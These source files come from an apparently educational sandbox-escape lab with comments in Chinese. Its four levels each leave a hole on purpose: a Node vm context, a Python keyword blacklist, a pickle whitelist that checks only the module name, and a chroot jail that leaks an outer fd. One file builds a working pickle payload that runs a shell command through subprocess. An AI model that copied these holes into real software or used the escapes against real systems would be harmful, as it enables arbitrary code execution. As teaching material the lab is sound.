Sandbox Escape Lab · 沙箱逃逸靶场

1
// =============================================================================
2
//  L1 执行器：把用户代码丢进 Node 的 vm 模块里跑
3
// =============================================================================
4
//  vm.createContext() 造出来的「干净上下文」里没有 process、没有 require、
5
//  没有 Buffer —— 看起来像个沙箱，但 Node 官方文档写得很直白：
6
//
7
//      "The vm module is not a security mechanism.
8
//       Do not use it to run untrusted code."
9
//
10
//  原因：沙箱里的对象本质上还是**宿主 realm 的对象**。只要拿到任意一个对象，
11
//  就能顺着 constructor 链摸到宿主 realm 的 Function 构造函数，
12
//  用它 new 出来的函数是宿主作用域里的函数，作用域链最顶端就是 global。
13
//
14
//  这一关要你自己找到那条链。
15
// =============================================================================
16

17
const vm = require('vm');
18
const fs = require('fs');
19
const util = require('util');
20

21
let code = '';
22
try {
23
  code = fs.readFileSync(0, 'utf8');   // 从 stdin 读用户代码
24
} catch (e) {
25
  console.error('[sandbox] 读不到输入');
26
  process.exit(0);
27
}
28

29
// 沙箱里只给一个 print —— 相当于真实产品里那种「计算器 / 表达式求值」接口
30
const sandbox = {
31
  print: (v) => process.stdout.write(String(v) + '\n'),
32
};
33

34
const ctx = vm.createContext(sandbox, { name: 'sandbox' });
35

36
try {
37
  // timeout 只挡得住同步死循环，挡不住逃逸 —— 逃出去之后是宿主进程在跑
38
  const result = vm.runInContext(code, ctx, { timeout: 1000, displayErrors: true });
39
  if (result !== undefined) {
40
    process.stdout.write('[sandbox] ' + util.inspect(result) + '\n');
41
  }
42
} catch (e) {
43
  const name = e && e.name ? e.name : 'Error';
44
  const msg = e && e.message ? e.message : String(e);
45
  console.error('[sandbox] ' + name + ': ' + msg);
46
}

1
#!/usr/bin/env python3
2
# =============================================================================
3
#  L2 执行器：关键字黑名单 + 阉割版 builtins
4
# =============================================================================
5
#  这是真实世界最常见、也最没用的一种「沙箱」：正则/子串黑名单。
6
#  它只能拦住**字面量**。而 Python 里「名字」是可以在运行时拼出来的：
7
#
8
#      '_' + '_class_' + '_'   →  __class__
9
#      getattr(obj, 拼出来的名字) → 拿到原本被关键字挡住的属性
10
#
11
#  所以黑名单里每个被漏掉的名字都是一个洞。本关的黑名单是照着
12
#  「一个只想到 os / import / open 的开发者」写的 —— 看看漏了谁。
13
#
14
#  注意：沙箱代码是独立子进程跑的，所以它的输出（包括 system() 这类
15
#  直接写 fd 1 的东西）都会原样回到页面上。
16
# =============================================================================
17

18
import sys
19

20
# 开发者能想到的危险词，全在这里了（他以为）
21
BLACKLIST = [
22
    "import", "open", "eval", "exec", "__",
23
    "os", "subprocess", "builtins", "globals",
24
    "compile", "breakpoint",
25
]
26

27
# 只留「计算器该有的」内置函数。看起来人畜无害 —— 真的吗？
28
ALLOWED_BUILTINS = {
29
    "print": print, "len": len, "range": range, "str": str, "int": int,
30
    "float": float, "bool": bool, "list": list, "dict": dict, "tuple": tuple,
31
    "set": set, "sum": sum, "min": min, "max": max, "abs": abs,
32
    "sorted": sorted, "enumerate": enumerate, "zip": zip, "repr": repr,
33
    "format": format, "chr": chr, "ord": ord, "isinstance": isinstance,
34
    "getattr": getattr, "hasattr": hasattr,
35
}
36

37

38
def report_hits(src):
39
    """把命中的词连同行号、列号和那一行原文一起打出来。
40

41
    真实世界的黑名单大多只回一句 "contains forbidden word"，让人自己肉眼找。
42
    这里多给一点定位信息 —— 不代表它变强了，只是少浪费你十分钟。
43
    """
44
    found = []
45
    for lineno, line in enumerate(src.splitlines(), 1):
46
        for word in BLACKLIST:
47
            col = line.find(word)
48
            if col >= 0:
49
                found.append((word, lineno, col + 1, line))
50
    if not found:
51
        return False
52

53
    print("[sandbox] 拒绝执行：命中黑名单")
54
    for word, lineno, col, line in found:
55
        text = line if len(line) <= 72 else line[:72] + "…"
56
        print("          %r  第 %d 行第 %d 列" % (word, lineno, col))
57
        print("          %4d | %s" % (lineno, text))
58
    print("          提示：黑名单扫的是**全文**，字符串、注释、变量名里"
59
          "出现连续两个下划线都算。")
60
    return True
61

62

63
def main():
64
    src = sys.stdin.read()
65

66
    if report_hits(src):
67
        return
68

69
    g = {"__builtins__": ALLOWED_BUILTINS}
70
    try:
71
        exec(compile(src, "<sandbox>", "exec"), g)
72
    except BaseException as e:  # noqa: BLE001 —— 用户代码什么都能抛
73
        print("[sandbox] %s: %s" % (type(e).__name__, e))
74

75

76
if __name__ == "__main__":
77
    main()

1
#!/usr/bin/env python3
2
# =============================================================================
3
#  L3 执行器：给 pickle 加一个「模块白名单」
4
# =============================================================================
5
#  思路是对的 —— pickle 的危险全在 find_class（GLOBAL / STACK_GLOBAL 指令
6
#  会按 "模块名.属性名" 去 import 并取属性），把模块卡住就行。
7
#
8
#  但这个实现漏了一个细节：STACK_GLOBAL 推上来的是两个字符串，
9
#  module 和 name。name 是**限定名**，可以带点号：
10
#
11
#      STACK_GLOBAL("models", "subprocess.check_output")
12
#
13
#  白名单校验的是 module（"models" 合法），然后 super().find_class() 会
14
#  按点号往 models 里一层层取属性 ——
15
#
16
#      models → models.subprocess → models.subprocess.check_output
17
#
18
#  于是被放行的模块里 import 过的一切，都成了你的跳板。
19
#
20
#  修法只有一条：白名单要校验「模块 + 完整限定名」，或者干脆别 pickle
21
#  不可信数据（改用 JSON）。
22
# =============================================================================
23

24
import base64
25
import io
26
import os
27
import pickle
28
import sys
29

30
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
31
import models  # noqa: E402  —— 必须真的 import 进来，否则 sys.modules 里没有它
32

33

34
# 只允许业务对象所在模块；其他一律拒
35
ALLOWED_MODULES = {"models"}
36

37

38
class SafeUnpickler(pickle.Unpickler):
39
    def find_class(self, module, name):
40
        # 这里只看了 module，没看 name 里的点号
41
        if module not in ALLOWED_MODULES:
42
            raise pickle.UnpicklingError("模块 %r 不在白名单里（只允许 %s）"
43
                                         % (module, sorted(ALLOWED_MODULES)))
44
        return super().find_class(module, name)
45

46

47
def main():
48
    raw = sys.stdin.read().strip()
49
    if not raw:
50
        print("[sandbox] 没有收到数据")
51
        return
52
    try:
53
        data = base64.b64decode(raw, validate=True)
54
    except Exception:
55
        print("[sandbox] 载荷不是合法的 base64")
56
        return
57

58
    try:
59
        obj = SafeUnpickler(io.BytesIO(data)).load()
60
    except Exception as e:
61
        print("[sandbox] 反序列化失败：%s: %s" % (type(e).__name__, e))
62
        return
63

64
    print("[sandbox] 反序列化得到的对象：%r" % (obj,))
65

66

67
if __name__ == "__main__":
68
    main()

1
# =============================================================================
2
#  L3 的「业务模块」—— 看起来只是一堆数据类
3
# =============================================================================
4
#  反序列化白名单只放行了 {models} 这一个模块，因为它就是你的业务对象所在处。
5
#  但业务模块总得干点活：这里 version() 要调 git / 打包工具，于是文件顶部
6
#  import 了 os 和 subprocess。
7
#
8
#  记住这一点：白名单放行的是**模块**，模块里的 import 也跟着一起被放行了。
9
# =============================================================================
10

11
import os
12
import subprocess
13

14

15
class Point:
16
    """一个二维点。示例载荷就是它，序列化后 module=models, name=Point。"""
17

18
    def __init__(self, x=0, y=0):
19
        self.x = x
20
        self.y = y
21

22
    def __repr__(self):
23
        return "Point(x=%r, y=%r)" % (self.x, self.y)
24

25

26
class Tag:
27
    """一个标签。"""
28

29
    def __init__(self, name="", color="#888888"):
30
        self.name = name
31
        self.color = color
32

33
    def __repr__(self):
34
        return "Tag(%r, %r)" % (self.name, self.color)
35

36

37
def version():
38
    """取一下构建版本号（打包脚本和 git 都可能不可用，所以有兜底）。"""
39
    try:
40
        return subprocess.check_output(["git", "describe", "--always"]).decode().strip()
41
    except Exception:
42
        return "unknown"

1
import base64
2

3
def su(s):
4
    b = s.encode()
5
    return b"\x8c" + bytes([len(b)]) + b        # SHORT_BINUNICODE
6

7
payload = (
8
    b"\x80\x04"                        # PROTO 4
9
    + su("models")
10
    + su("subprocess.getoutput")
11
    + b"\x93"                          # STACK_GLOBAL
12
    + su("cat /flag_l3")
13
    + b"\x85"                          # TUPLE1
14
    + b"R."                            # REDUCE + STOP
15
)
16
print(base64.b64encode(payload).decode())

1
#!/usr/bin/env python3
2
# =============================================================================
3
#  L4 执行器：chroot 文件沙箱
4
# =============================================================================
5
#  chroot 只改「进程看到的 / 是哪一层目录」，它不创建新的命名空间、
6
#  不限制系统调用、也不回收已经打开的文件描述符。
7
#
8
#  所以 chroot 的唯一有效性来自一个前提：**沙箱里没有任何指向外部的句柄**。
9
#  只要进程手里还捏着一个 jail 外的目录 fd，就能
10
#
11
#      os.fchdir(fd)      # 把 cwd 挪回 jail 外面
12
#      os.chroot(".")     # 把根重新设成 jail 外面
13
#
14
#  跑回来。本关的 bug 就在下面第 3 步：父进程为了把审计日志写到容器外，
15
#  提前打开 "/" 并以 fd 3 交给沙箱进程 —— 这个 fd 就是那道后门。
16
#
17
#  现实对照：容器逃逸里常见的「挂进来的 socket / 保留的 fd / 未关闭的
18
#  目录句柄」是同一类问题。sandbox 的边界一旦有句柄漏出去就不再是边界。
19
# =============================================================================
20

21
import os
22
import resource
23
import sys
24

25
JAIL = "/jail"
26
LOG_FD = 3          # 审计日志的落盘句柄（父进程预先打开，见下面 open+dup2）
27

28

29
def run_in_jail(code: str) -> None:
30
    # 1. 打开「外部根」，固定成 fd 3 —— 这是本关唯一的漏洞
31
    outer = os.open("/", os.O_RDONLY | os.O_DIRECTORY)
32
    os.dup2(outer, LOG_FD, inheritable=True)
33

34
    # 2. 收缩视野：此后 / 就是 /jail
35
    os.chroot(JAIL)
36
    os.chdir("/")
37

38
    # 3. 限制 CPU 时间，防止死循环把父进程一起拖死
39
    resource.setrlimit(resource.RLIMIT_CPU, (3, 3))
40

41
    # 4. 沙箱里给的东西：os（「文件沙箱」总得有文件操作）+ 内置 print/open
42
    g = {
43
        "__builtins__": __builtins__,
44
        "os": os,
45
        "sys": sys,
46
        "print": print,
47
        "open": open,
48
    }
49
    try:
50
        exec(compile(code, "<jail>", "exec"), g)
51
    except BaseException as e:  # noqa: BLE001
52
        print("[jail] %s: %s" % (type(e).__name__, e))
53

54

55
def main():
56
    # 先把要用到的都读完，chroot 之后就读不到 stdin 了（其实是还能读，
57
    # 但子进程里没有必要）
58
    code = sys.stdin.read()
59

60
    pid = os.fork()
61
    if pid == 0:
62
        try:
63
            run_in_jail(code)
64
        finally:
65
            sys.stdout.flush()
66
            sys.stderr.flush()
67
            os._exit(0)
68

69
    os.waitpid(pid, 0)
70

71

72
if __name__ == "__main__":
73
    main()